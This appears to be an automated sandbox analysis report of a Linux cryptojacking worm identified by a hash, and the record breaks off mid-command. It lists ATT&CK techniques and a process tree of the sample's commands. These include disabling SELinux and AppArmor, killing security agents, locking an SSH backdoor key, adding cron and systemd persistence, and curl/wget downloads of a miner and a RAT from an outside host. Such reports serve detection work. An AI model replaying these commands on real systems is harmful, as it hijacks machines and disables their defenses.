41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

persistence privilege_escalation defense_evasion

description	ioc	Process
File opened for modification	/etc/cron.d/hermes_sync	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Creates/modifies environment variables 1 TTPs 4 IoCs

Creating/modifying environment variables is a common persistence mechanism.

Path Interception by PATH Environment Variable

persistence privilege_escalation

description	ioc	Process
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Disables SELinux 1 TTPs 1 IoCs

Disables SELinux security module.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
730	setenforce

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/hermes-core.service	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Modifies Bash startup script 2 TTPs 4 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/root/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.bashrc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/home/user/.profile	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc

Discovers running processes 1 TTPs 23 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

Process Discovery

T1057

pid	Process
770	ps
896	ps
927	ps
940	ps
980	ps
785	ps
790	ps
908	ps
915	ps
946	ps
765	ps
780	ps
795	ps
889	ps
901	ps
968	ps
775	ps
800	ps
920	ps
934	ps
953	ps
960	ps
974	ps

Reads CPU attributes 1 TTPs 26 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	kill
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	ps

Enumerates kernel/hardware configuration 1 TTPs 19 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl
File opened for reading	/sys/fs/kdbus/0-system/bus	systemctl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/15/stat	ps
File opened for reading	/proc/110/stat	ps
File opened for reading	/proc/74/stat	ps
File opened for reading	/proc/921/status	ps
File opened for reading	/proc/384/status	ps
File opened for reading	/proc/337/cmdline	ps
File opened for reading	/proc/72/status	ps
File opened for reading	/proc/336/status	ps
File opened for reading	/proc/37/cmdline	pgrep
File opened for reading	/proc/160/status	ps
File opened for reading	/proc/127/status	ps
File opened for reading	/proc/self/stat	ps
File opened for reading	/proc/917/cmdline	ps
File opened for reading	/proc/978/status	ps
File opened for reading	/proc/126/status	pgrep
File opened for reading	/proc/74/stat	ps
File opened for reading	/proc/718/stat	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/395/cmdline	ps
File opened for reading	/proc/73/cmdline	ps
File opened for reading	/proc/self/fd	xargs
File opened for reading	/proc/72/stat	ps
File opened for reading	/proc/self/stat	systemctl
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/717/cmdline	ps
File opened for reading	/proc/filesystems	ps
File opened for reading	/proc/671/stat	ps
File opened for reading	/proc/24/stat	ps
File opened for reading	/proc/126/status	ps
File opened for reading	/proc/sys/kernel/pid_max	ps
File opened for reading	/proc/714/status	ps
File opened for reading	/proc/17/stat	ps
File opened for reading	/proc/337/stat	ps
File opened for reading	/proc/73/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/707/stat	ps
File opened for reading	/proc/384/cmdline	ps
File opened for reading	/proc/212/stat	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/931/cmdline	ps
File opened for reading	/proc/4/cmdline	ps
File opened for reading	/proc/384/status	ps
File opened for reading	/proc/723/cmdline	ps
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/22/status	ps
File opened for reading	/proc/336/cmdline	ps
File opened for reading	/proc/20/status	ps
File opened for reading	/proc/335/cmdline	ps
File opened for reading	/proc/713/cmdline	pgrep
File opened for reading	/proc/314/cmdline	ps
File opened for reading	/proc/19/stat	ps
File opened for reading	/proc/705/status	ps
File opened for reading	/proc/714/status	ps
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/37/cmdline	ps
File opened for reading	/proc/sys/kernel/osrelease	ps
File opened for reading	/proc/314/stat	ps
File opened for reading	/proc/19/cmdline	ps
File opened for reading	/proc/24/status	ps
File opened for reading	/proc/70/cmdline	ps
File opened for reading	/proc/723/cmdline	ps
File opened for reading	/proc/336/status	pgrep

System Network Configuration Discovery 1 TTPs 12 IoCs

Adversaries may gather information about the network configuration of a system.

System Network Configuration Discovery

T1016

pid	Process
1061	wget
1095	wget
1102	curl
1106	curl
1108	wget
1112	wget
1052	curl
1089	curl
1091	wget
1093	curl
1104	wget
1110	curl

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.a5A6Us	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.sVYuSe	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/sh-thd.TDtMXc	41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_miner	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget
File opened for modification	/tmp/hermes_rat	wget

/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
/tmp/41ca782dc3a5e98b6a4dfc964e54acdd2149794e4c2bb7a3c4d906e09429dbfc
1⤵
- Adds new SSH keys
- Creates/modifies Cron job
- Creates/modifies environment variables
- Modifies systemd
- Modifies Bash startup script
- Writes file to tmp directory
PID:717
- /bin/cat
  cat
  2⤵
  PID:721
- /usr/sbin/setenforce
  setenforce 0
  2⤵
  - Disables SELinux
  PID:730
- /usr/sbin/service
  service apparmor stop
  2⤵
  PID:732
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:734
- - /usr/bin/basename
    basename /usr/sbin/service
    3⤵
    PID:737
- - /bin/systemctl
    systemctl --quiet is-active multi-user.target
    3⤵
    - Enumerates kernel/hardware configuration
    PID:739
- - /bin/systemctl
    systemctl list-unit-files --full "--type=socket"
    3⤵
    - Enumerates kernel/hardware configuration
    PID:743
- - /bin/sed
    sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
    3⤵
    PID:744
- - /bin/systemctl
    systemctl -p Triggers show dbus.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:749
- - /bin/systemctl
    systemctl -p Triggers show ssh.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:751
- - /bin/systemctl
    systemctl -p Triggers show syslog.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:753
- - /bin/systemctl
    systemctl -p Triggers show systemd-fsckd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:754
- - /bin/systemctl
    systemctl -p Triggers show systemd-initctl.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:756
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-audit.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:757
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald-dev-log.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:758
- - /bin/systemctl
    systemctl -p Triggers show systemd-journald.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:759
- - /bin/systemctl
    systemctl -p Triggers show systemd-networkd.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:760
- - /bin/systemctl
    systemctl -p Triggers show systemd-rfkill.socket
    3⤵
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:761
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-control.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:762
- - /bin/systemctl
    systemctl -p Triggers show systemd-udevd-kernel.socket
    3⤵
    - Enumerates kernel/hardware configuration
    PID:763
- /usr/local/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:732
- /usr/local/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:732
- /usr/sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:732
- /usr/bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:732
- /sbin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  PID:732
- /bin/systemctl
  systemctl stop apparmor.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:732
- /bin/systemctl
  systemctl disable apparmor
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:764
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:768
- /bin/grep
  grep aegis
  2⤵
  PID:767
- /bin/grep
  grep -v grep
  2⤵
  PID:766
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:769
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:765
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:770
- /bin/grep
  grep -v grep
  2⤵
  PID:771
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:774
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:773
- /bin/grep
  grep aliyun
  2⤵
  PID:772
- /bin/grep
  grep Yun
  2⤵
  PID:777
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:778
- /bin/grep
  grep -v grep
  2⤵
  PID:776
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:775
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:779
- /bin/grep
  grep -v grep
  2⤵
  PID:781
- /bin/grep
  grep hids
  2⤵
  PID:782
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:783
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:780
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:784
- /bin/grep
  grep cloudwalker
  2⤵
  PID:787
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:788
- /bin/grep
  grep -v grep
  2⤵
  PID:786
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:785
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:789
- /bin/grep
  grep titanagent
  2⤵
  PID:792
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:793
- /bin/grep
  grep -v grep
  2⤵
  PID:791
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:794
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:790
- /bin/grep
  grep edr
  2⤵
  PID:797
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:798
- /bin/grep
  grep -v grep
  2⤵
  PID:796
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:795
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:799
- /bin/grep
  grep sgagent
  2⤵
  PID:802
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:803
- /bin/grep
  grep -v grep
  2⤵
  PID:801
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:800
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:804
- /bin/grep
  grep :23
  2⤵
  PID:806
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:807
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:808
- /bin/grep
  grep -v -
  2⤵
  PID:809
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:810
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:814
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:813
- /bin/grep
  grep :143
  2⤵
  PID:812
- /bin/grep
  grep -v -
  2⤵
  PID:815
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:816
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:819
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:820
- /bin/grep
  grep :2222
  2⤵
  PID:818
- /bin/grep
  grep -v -
  2⤵
  PID:821
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:822
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:825
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:826
- /bin/grep
  grep :3333
  2⤵
  PID:824
- /bin/grep
  grep -v -
  2⤵
  PID:827
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:828
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:831
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:832
- /bin/grep
  grep :3389
  2⤵
  PID:830
- /bin/grep
  grep -v -
  2⤵
  PID:833
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:834
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:837
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:838
- /bin/grep
  grep :5555
  2⤵
  PID:836
- /bin/grep
  grep -v -
  2⤵
  PID:839
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:840
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:843
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:844
- /bin/grep
  grep -v -
  2⤵
  PID:845
- /bin/grep
  grep :6666
  2⤵
  PID:842
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:846
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:850
- /bin/grep
  grep :6665
  2⤵
  PID:848
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:849
- /bin/grep
  grep -v -
  2⤵
  PID:851
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:852
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:857
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:858
- /bin/grep
  grep :6667
  2⤵
  PID:856
- /bin/grep
  grep -v -
  2⤵
  PID:859
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:860
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:864
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:863
- /bin/grep
  grep -v -
  2⤵
  PID:865
- /bin/grep
  grep :7777
  2⤵
  PID:862
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:866
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:871
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:870
- /bin/grep
  grep :8444
  2⤵
  PID:869
- /bin/grep
  grep -v -
  2⤵
  PID:872
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:873
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:878
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:877
- /bin/grep
  grep :3347
  2⤵
  PID:876
- /bin/grep
  grep -v -
  2⤵
  PID:879
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:880
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:885
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:884
- /bin/grep
  grep -v -
  2⤵
  PID:886
- /bin/grep
  grep :10008
  2⤵
  PID:883
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:887
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:892
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:891
- /bin/grep
  grep -v grep
  2⤵
  PID:890
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:889
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:893
- /bin/grep
  grep kinsing
  2⤵
  PID:898
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:899
- /bin/grep
  grep -v grep
  2⤵
  PID:897
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:896
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:900
- /bin/grep
  grep watchdogs
  2⤵
  PID:903
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:904
- /bin/grep
  grep -v grep
  2⤵
  PID:902
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  - Reads runtime system information
  PID:905
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:901
- /bin/grep
  grep kthrotlds
  2⤵
  PID:910
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:911
- /bin/grep
  grep -v grep
  2⤵
  PID:909
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:908
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:912
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:917
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:918
- /bin/grep
  grep -v grep
  2⤵
  PID:916
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:919
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:915
- /bin/grep
  grep xmrig
  2⤵
  PID:922
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:923
- /bin/grep
  grep -v grep
  2⤵
  PID:921
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:924
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:920
- /bin/grep
  grep xmr-stak
  2⤵
  PID:929
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:930
- /bin/grep
  grep -v grep
  2⤵
  PID:928
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:931
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:927
- /bin/grep
  grep minerd
  2⤵
  PID:936
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:937
- /bin/grep
  grep -v grep
  2⤵
  PID:935
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:938
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:934
- /bin/grep
  grep cryptonight
  2⤵
  PID:942
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:943
- /bin/grep
  grep -v grep
  2⤵
  PID:941
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:940
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:944
- /bin/grep
  grep watchbog
  2⤵
  PID:948
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:949
- /bin/grep
  grep -v grep
  2⤵
  PID:947
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:950
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:946
- /bin/grep
  grep -v grep
  2⤵
  PID:954
- /bin/grep
  grep ddg
  2⤵
  PID:955
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:953
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:956
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:957
- /bin/grep
  grep kworker
  2⤵
  PID:962
- /bin/grep
  grep -v grep
  2⤵
  PID:961
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:963
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:960
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:964
- - /usr/local/sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    PID:966
- - /usr/local/bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    PID:966
- - /usr/sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    PID:966
- - /usr/bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    PID:966
- - /sbin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    PID:966
- - /bin/kill
    kill -9 4 5 6 23 74 75 79 81 82 110 212
    3⤵
    - Reads CPU attributes
    PID:966
- /bin/grep
  grep sustse
  2⤵
  PID:970
- /bin/grep
  grep -v grep
  2⤵
  PID:969
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:971
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:968
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:972
- /bin/grep
  grep -v grep
  2⤵
  PID:975
- /bin/grep
  grep sustse3
  2⤵
  PID:976
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:977
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:974
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:978
- /bin/grep
  grep systemctI
  2⤵
  PID:982
- /bin/grep
  grep -v grep
  2⤵
  PID:981
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:983
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  PID:980
- /usr/bin/xargs
  xargs -r kill -9
  2⤵
  PID:984
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:987
- /bin/rm
  rm -rf /var/spool/cron/atjobs /var/spool/cron/atspool /var/spool/cron/crontabs "/etc/cron.d/*" /var/spool/cron/crontabs /etc/crontab
  2⤵
  PID:988
- /bin/mkdir
  mkdir -p /root/.ssh
  2⤵
  PID:990
- /bin/chmod
  chmod 700 /root/.ssh
  2⤵
  PID:993
- /bin/grep
  grep -q hermes_worm /root/.ssh/authorized_keys
  2⤵
  PID:995
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:996
- /usr/bin/chattr
  chattr +i /root/.ssh/authorized_keys
  2⤵
  PID:997
- /bin/grep
  grep -q analytics.js /root/.bashrc
  2⤵
  PID:999
- /bin/grep
  grep -q analytics.js /root/.profile
  2⤵
  PID:1001
- /bin/grep
  grep -q analytics.js /home/user/.bashrc
  2⤵
  PID:1003
- /bin/grep
  grep -q analytics.js /home/user/.profile
  2⤵
  PID:1006
- /bin/cat
  cat
  2⤵
  PID:1008
- /bin/chmod
  chmod 644 /etc/cron.d/hermes_sync
  2⤵
  PID:1009
- /bin/cat
  cat
  2⤵
  PID:1010
- /bin/systemctl
  systemctl daemon-reload
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1011
- /bin/systemctl
  systemctl enable hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1031
- /bin/systemctl
  systemctl start hermes-core.service
  2⤵
  - Disables AppArmor Mandatory Access Control
  - Enumerates kernel/hardware configuration
  PID:1044
- /bin/uname
  uname -m
  2⤵
  PID:1049
- /usr/bin/pgrep
  pgrep -f hermes_miner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1050
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1051
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1052
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1061
- /bin/sleep
  sleep 2
  2⤵
  PID:1066
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1089
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1091
- /bin/sleep
  sleep 2
  2⤵
  PID:1092
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/xmrig_x64 -o /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  PID:1093
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/xmrig_x64 -O /tmp/hermes_miner
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1095
- /bin/sleep
  sleep 2
  2⤵
  PID:1096
- /bin/uname
  uname -m
  2⤵
  PID:1099
- /usr/bin/pgrep
  pgrep -f hermes_rat
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1100
- /usr/bin/seq
  seq 1 3
  2⤵
  PID:1101
- /usr/bin/curl
  curl -fsSLk --connect-timeout 10 --retry 2 https://72-62-61-231.nip.io/vortex.x64 -o /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  PID:1102
- /usr/bin/wget
  wget -q "--timeout=10" "--tries=2" https://72-62-61-231.nip.io/vortex.x64 -O /tmp/hermes_rat
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1104
- /bin/sleep
  sleep 2
  2⤵
  PID:1105
- /usr/bin/curl
